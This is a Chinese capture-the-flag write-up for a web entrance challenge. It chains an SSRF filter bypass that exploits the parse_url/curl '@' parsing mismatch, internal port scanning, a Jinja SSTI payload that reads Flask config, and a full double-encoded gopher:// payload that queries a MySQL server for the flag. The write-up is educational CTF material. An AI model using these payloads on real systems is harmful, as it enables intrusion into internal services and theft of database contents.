某群web入群题(郁离歌天下第一)

入群题已经换了,这篇WP取消密码
WEB:
http://ctf473831530.yulige.top:12345/
请不要使用扫描器orz...
Tips1: flag.php
Tips2: 常见端口

打开给出源码

<?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?>

看到了熟悉的东西parse_url和curl_exec
parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的
所以可以通过url=http://@127.0.0.1:80@www.baidu.com绕过check_inner_ip并访问本地服务器

发现源码打印了两次,说明成功访问了本地服务器
hint1说flag.php
所以访问url=http://@127.0.0.1:80@www.baidu.com/flag.php (路径放在后面,如果放在前面,会parse_url解析把127.0.0.1当作host)
得到一个网段172.11.243.0/24
hint2又说常见端口
使用burpsuite的intruder进行探测

找到一个flask服务(172.11.243.81:8080)和两个mysql服务(172.11.243.1:3306和172.11.243.218:3306)
在flask提供了源码

import flask
import os
app = flask.Flask(__name__)
app.config['HINT'] = os.environ.pop('HINT')
@app.route('/')
def index():
    return open(__file__).read()
@app.route('/yulige/')
def yulige(yulige):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(yulige))
if __name__ == '__main__':
    app.run("0.0.0.0",port=8080)

可以看到有hint放在了config中,显然是需要用ssti获取hint
然而(、)被替换为空,config以及self都会被set None
查一下ssti,参考这篇文章
通过

{{url_for.__globals__[%27current_app%27].config[%27HINT%27]}}

获取hint:

拿到了mysql的用户名,显然是要我们拿到数据库里的一些东西
刚才我们已经扫出来两个mysql服务
其中172.11.243.1:3306提示:
Host '172.11.243.172' is not allowed to connect to this MySQL server
估计是没用了
所以要从172.11.243.218:3306下手
回忆一下,最开始的源码中允许使用gopher协议,刚好前几天复现了一下在ssrf中利用gopher协议攻击mysql数据库的情况,所以马上想到了利用gopher进行攻击,原理可以参考这篇文章
推荐一个工具,可以比较方便地生成payload(否则就得自己开wireshark手动抓+写个脚本转化格式)
接下来就是脱裤拿flag了,依次库(fla4441111g)、表(F1111llllggggg)、字段(flag)
另外注意这是通过跳板打mysql,所以要双重url encode
最终payload:

url=gopher://172.11.243.218:3306/_%25ae%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2579%2575%256c%2569%2567%2565%2565%2565%2565%2531%2532%2533%2533%2532%2531%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%252d%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2566%256c%2561%2567%2520%2566%2572%256f%256d%2520%2566%256c%2561%2534%2534%2534%2531%2531%2531%2531%2567%252e%2546%2531%2531%2531%2531%256c%256c%256c%256c%2567%2567%2567%2567%2567%253b%2501%2500%2500%2500%2501


getflag

打赏作者

发表评论

电子邮件地址不会被公开。 必填项已用*标注